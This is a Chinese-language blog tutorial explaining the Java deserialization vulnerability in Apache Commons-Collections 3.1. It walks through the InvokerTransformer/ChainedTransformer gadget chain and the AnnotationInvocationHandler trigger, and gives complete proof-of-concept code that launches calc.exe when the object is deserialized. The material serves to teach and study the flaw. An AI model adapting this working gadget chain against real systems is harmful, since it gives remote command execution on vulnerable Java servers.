6-java安全——java反序列化漏洞利用链

本篇将结合一个apache commons-collections组件来学习java反序列化漏洞原理,以及如何构造利用链。

我们知道序列化操作主要是由ObjectOutputStream类的 writeObject()方法来完成,反序列化操作主要是由ObjectInputStream类的readObject()方法来完成。当可序列化对象重写了readObject方法后,在反序列化时一般会调用序列化对象的readObject方法。

在Student类中重写ObjectInputStream类的readObject方法

package com.test;
import java.io.*;

class Student implements Serializable {
    private int id;
    private String name;
    private float score;
    private transient String address;

    public Student(int id, String name, float score, String address) {
        this.id = id;
        this.name = name;
        this.score = score;
        this.address = address;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", score=" + score +
                ", address='" + address + '\'' +
                '}';
    }

    //重写父类的readObject方法
    private void readObject(java.io.ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
        System.out.println("readObject......");
        //调用默认的readObject方法
        objectInputStream.defaultReadObject();
        //在重写的readObject方法中自定义要做的事情
        //调用pc的计算器
        Runtime.getRuntime().exec("calc.exe");
    }
}
class Serialize {
    public static Student Student_Unserialize() throws IOException, ClassNotFoundException{
        File file = new File("stu.txt");
        FileInputStream fileInputStream = new FileInputStream(file);
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Student student = (Student) objectInputStream.readObject();
        objectInputStream.close();
        System.out.println("反序列完成......" + student);
        return student;
    }

    public static void Student_Serialize() throws  IOException{
        File file = new File("stu.txt");
        FileOutputStream fileOutputStream = new FileOutputStream(file);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        Student student = new Student(10,"liubei",66.5f, "beijing");
        objectOutputStream.writeObject(student);
        //objectOutputStream.writeObject("hello world");
        objectOutputStream.close();
        System.out.println("序列化完成......");
    }
}

public class Serialize_Test3 {
    public static void main(String[] args) throws Exception {
        Serialize.Student_Serialize();
        Serialize.Student_Unserialize();
    }
}

当Student_Unserialize()方法内部调用readObject进行反序列化,会调用Student类中重写后的readObject方法,执行calc.exe调用电脑的计算器,如下所示

      反序列化漏洞产生的原因是可序列化对象重写readObject方法并定义了一些危险的操作导致的(例如调用Runtime类的exec执行系统命令),但在实际的开发中,出于安全考虑并不会直接在readObject方法定义一些危险的操作,这就需要通过构造利用链来执行我们想要的操作。

       利用链有点类似于php反序列化中的pop利用链,通常是在java程序中通过方法调用、对象传递和反射机制,动态代理,字节码编程等各种手段作为跳板,构造出一个能够产生安全问题的利用链 。

接下来通过一个反序列化漏洞学习反射链如何构造。

apache commons-collections组件反序列化漏洞环境

jdk1.7.0_80

commons-collections3.1

 影响版本:

commons-collections3.1-3.2.1

jdk1.7.1以下

apache commons-collections组件是一个基于java标准库的集合框架扩展的第三方工具库,提供了很多集合工具类,该组件的Transformer接口存在反序列化漏洞,实现了Transformer接口的类有ChainedTransformer,ConstantTransformer,InvokerTransformer这几个类。

新建一个maven项目,先在pom.xml文件中引入apache commons-collections-3.1组件的依赖:
 

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

先来看一下最简单的漏洞利用poc:

package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Poc2Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
        transformedMap.put(null,transformerChain);
    }
}

简单说明一下这个poc程序的利用链流程:

1. 首先创建了一个Transformer[]数组,在数组中使用了ConstantTransformer和InvokerTransformer两个类创建了4个对象,这一段是漏洞利用的核心代码

2. 将transformers数组存入ChaniedTransformer类

3. 创建Map并转换为链

4. 触发漏洞利用链,利用漏洞

先来看这段漏洞利用的核心代码:

new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})

      通过Transformer[]数组来创建对象,Transformer是一个接口,该接口有一个transform方法,这个方法的作用是将一个对象转换为另一个对象,通过查看源码发现ConstantTransformer和InvokerTransformer两个类也都实现了Transformer接口。

创建第一个对象时会调用ConstantTransformer的构造,将Runtime作为参数,然后构造方法内部会将传入的Runtime的class对象赋值给成员属性iConstant

ConstantTransformer类中的transform方法作用是将属性iConstant返回

	public Object transform(Object input) {
        return iConstant;
    }

InvokerTransformer类中的transform方法实现如下

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            //获取class对象
            Class cls = input.getClass();
            //获取class对象的某个方法
            Method method = cls.getMethod(iMethodName, iParamTypes);
            //执行class对象的某个方法
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

       transform方法主要是获取传入参数的class对象,然后根据iMethodName,iParamTypes,iArgs这三个成员属性来执行class对象的某个方法。

这三个成员属性的值是通过InvokerTransformer类的构造来赋值的

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

创建完这几个对象后,将transformers数组传给ChaniedTransformer类,该类也实现了Transformer接口的transform方法

//构造方法
public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}


//实现的transform方法
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

      ChaniedTransformer类的构造方法会将transformers数组赋值给iTransformers 成员属性,而transform方法主要是遍历iTransformers 数组,并根据数组中每一个具体的对象元素调用不同的transform方法,如果遍历到的对象元素类型是InvokerTransformer对象,那么就会调用InvokerTransformer对象的transform方法执行反射操作。

    也就是说,ChaniedTransformer类中的transform方法会将之前利用链(创建的4个对象)都组合起来,最终形成的伪代码:Runtime.class.getMethod("getRuntime",null).invoke(null).exec("calc.exe") 。解释一下这里为什么要通过反射的方式获取Runtime对象和方法。

原因在于Runtime类没有实现Serializable可序列化接口,ConstantTransformer(Runtime.class)这一步操作是获取Runtime的class对象,由于Class类实现了Serializable接口,通过让Runtime继承Class<T>类也可以实现可序列化

我们可以得到这样一个利用链:

       利用链有了,下一步就是寻找触发点,反序列化过程是一个正常的业务需求,将正常的字节流还原成对象属于正常的功能。但是当程序中的某处触发点在还原对象的过程中能够成功地执行构造出来的利用链,则会成为反序列化漏洞的触发点,也就是说,这个触发点需要做的事情就是触发ChainedTransformer类的transform方法。

那么我们可以明确下一步要做的事情就是寻找哪些类调用了ChainedTransformer的transform方法并且实现了Serializable接口。

      经过一番查找,最终在apache commons-collections组件找到LazyMap类和TransformedMap这两个类,同时这两个类也都实现了Serializable接口。

    先来看TransformedMap类,这个类中有三个方法内部调用了transform方法,分别为checkSetValue,transformKey,transformValue这三个方法,但是这三个方法的都是protected(受保护)权限,只能在类内部调用,我们需要找别的触发链,寻找有哪些方法调用了这三个方法。

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
	
	protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }
	
	protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

接着又在TransformedMap类中找到了一个public访问权限的decorate方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

      decorate方法会通过TransformedMap的构造方法创建一个TransformedMap并返回,该方法要求传入三个参数,参数1是一个Map类型,其他两个参数都为Transformer 类型,TransformedMap的构造方法会将参数二和参数三赋值给成员属性keyTransformer和valueTransformer。

decorate方法还不足以触发利用链,接着我们在TransformedMap类中找到一个public权限的方法:

    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

       put方法内部调用了transformValue方法,通过调用transformValue方法来间接调用transform方法,但是transformValue方法中内部是由TransformedMap类的成员属性valueTransformer来调用transform方法的,因此decorate方法还有一个作用就是将transformerChain传给valueTransformer属性,当调用put方法时就可以触发利用链

      以上只是为了介绍apache commons-collections组件反序列化漏洞的利用链是如何构造的。

如果想要触发反序列化漏洞的话,还需要找到一个可序列化对象重写readObject方法并且内部操作了Map,于是我们在jdk中找到一个sun.reflect.annotation.AnnotationInvocationHandler类,该类实现了Serializable接口并且还重写了readObject方法,如下所示:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

上面那个readObject方法是新版jdk的,不太容易分析,我们看一下jdk旧版本的readObject方法

 private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject(); 
 
        // Check to make sure that types have not evolved incompatibly  
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } 
        catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
            return;
        }
 
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
 
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                    memberValue.setValue( new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));
                }
            }
        }
    }

AnnotationInvocationHandler类实现了InvocationHandler接口,还有一个final的成员属性memberValues,其数据类型为Map

       在旧版本的readObject方法中,AnnotationInvocationHandler类在重写的readObject方法使用for循环获取了memberValues的entrySet()键值对,进行了setValue操作,也就是说readObject方法所做的事情就是对memberValues.entrySet()中的每一项memberValue进行了setValue操作。

这里的memberValues指的是TransformedMap(如果不理解这一步的话,先往下看,后面还会介绍memberValues),再回到新版jdk中AnnotationInvocationHandler类的readObject方法中

//获取TransformedMap的entrySet迭代器
Iterator var4 = this.memberValues.entrySet().iterator();
//再通过entrySet迭代器获取一个Entry
Entry var5 = (Entry)var4.next();

       实际上var5就是TransformedMap的Entry,var5.setValue()相当于TransformedMap调用了put方法

这里有一个问题:TransformedMap中的EntrySet是从哪来的?

通过查看TransformedMap类的体系结构发现,TransformedMap类继承了AbstractInputCheckedMapDecorator类, 而AbstractInputCheckedMapDecorator类继承了AbstractMapDecorator类,AbstractMapDecorator这个类实现了Map接口,TransformedMap的entrySet是调用了AbstractInputCheckedMapDecorator类中的entrySet方法返回一个EntrySet(entrySet的调用流程有些复杂,这里不详细展开,大家自行调试跟踪分析)。

    public Set entrySet() {
        if (isSetValueChecking()) {
            return new EntrySet(map.entrySet(), this);
        } else {
            return map.entrySet();
        }
    }

       这里调用entrySet方法会传入两个参数,map就是我们创建的HashMap,这里的this对象指的是transformedMap。

实际上是返回了AbstractInputCheckedMapDecorator类中的静态类EntrySet对象,并将传入的this对象赋给parent成员属性

    static class EntrySet extends AbstractSetDecorator {
        
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
            super(set);
            this.parent = parent;
        }
	}

parent调用了一个很关键的方法,parent成员属性定义如下:

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

前面var5.setValue()是调用了TransformedMap的setValue方法的说法并不严谨,实际上是调用了TransformedMap的父类AbstractInputCheckedMapDecorator中的静态类MapEntry的setValue方法

       setValaue方法中的parent调用了checkSetValue方法,实际上是调用transformedMap的checkSetValue方法,通过checkSetValue方法间接调用transform方法,也就是说transformedMap的setValue操作最终会触发反序列化漏洞的利用链,apache commons-collections组件反序列化漏洞的利用链。

现在我们还剩下最后一个问题没有解决:如何获得AnnotationInvocationHandler类对象并将transformedMap传给AnnotationInvocationHandler类?

     通过查看AnnotationInvocationHandler类的具体实现可以看到该类的构造方法要求传入两个参数,参数var1为Class类型,var2为Map类型,我们重点关注var2参数。

        但是AnnotationInvocationHandler类的访问权限不是public,默认只有在同一packge下才能访问,因此只能通过反射机制获取AnnotationInvocationHandler类构造方法对象,再通过newInstance方法传入transformedMap参数,调用指定的构造创建AnnotationInvocationHandler对象,把transformedMap传给var2参数。

       接着AnnotationInvocationHandler的构造方法会把var2赋值给memberValues成员属性,这一步验证了前面我们说readObject方法中的memberValues其实就是transformedMap。

现在所有的疑问都解决了,来看一下最终构造的利用链:

利用链代码:

package com.test;

import java.io.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.annotation.Target;
import org.apache.commons.collections.map.TransformedMap;

public class PocTest {
    public static void main(String[] args) throws Exception{
		//核心利用代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
		//将数组transformers传给ChainedTransformer,构造利用链
        Transformer transformerChain = new ChainedTransformer(transformers);
		//触发漏洞
        Map map = new HashMap();
        map.put("value", "test");
        //通过反射触发利用链
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //获得AnnotationInvocationHandler的构造器
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        //将transformedMap传给AnnotationInvocationHandler的构造
        Object instance=ctor.newInstance(Target.class, transformedMap);
        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.close();
        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
    }
}

      先调用writeObject方法把AnnotationInvocationHandler对象进行序列化,然后再通过readObject方法进行反序列化,由于AnnotationInvocationHandler对象重写了readObject,接着会调用重写的readObject,然后在该方法中var5.setValue()操作就会触发之前构造的反序列化利用链。

执行payload,成功弹出calc计算器

参考资料

Java反序列化漏洞Apache CommonsCollections分析 - yyhuni's - 博客园

评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值